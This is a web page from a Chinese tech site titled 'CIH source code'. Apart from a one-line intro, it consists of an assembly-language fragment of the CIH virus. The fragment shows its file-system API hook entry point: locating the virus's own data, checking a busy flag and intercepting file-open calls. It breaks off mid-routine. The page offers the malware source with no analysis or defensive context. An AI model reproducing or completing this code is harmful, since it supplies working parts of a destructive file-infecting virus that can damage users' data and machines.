CIH源代码

http://tech.ddvip.com   2006年04月03日    社区交流 收藏本文

本文详细介绍CIH源代码

  OldInstallFileSystemApiHook dd ?

  ; *********************************************************
; * IFSMgr_FileSystemHook *
; *********************************************************

  ; *************************************
; * IFSMgr_FileSystemHook Entry Point *
; *************************************

  FileSystemApiHook:
@3 = FileSystemApiHook

  pushad

  call @5 ;
@5: ;
pop esi ; mov esi, offset VirusGameDataStartAdd
ss
add esi, VirusGameDataStartAddress-@5

  ; *************************************
; * Is OnBusy !? *
; *************************************

  test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy )
jnz pIFSFunc ; goto pIFSFunc

  ; *************************************
; * Is OpenFile !? *
; *************************************

  ; if ( NotOpenFile )
; goto prevhook
lea ebx, [esp+20h+04h+04h]
cmp dword ptr [ebx], 00000024h
jne prevhook

  ; *************************************
; * Enable OnBusy *
; *************************************

  inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy

  ; *************************************
; * Get FilePath's DriveNumber, *
; * then Set the DriveName to *
; * FileNameBuffer. *
; *************************************
; * Ex. If DriveNumber is 03h, *
; * DriveName is 'C:'. *
; *************************************

责编:豆豆技术应用

正在加载评论...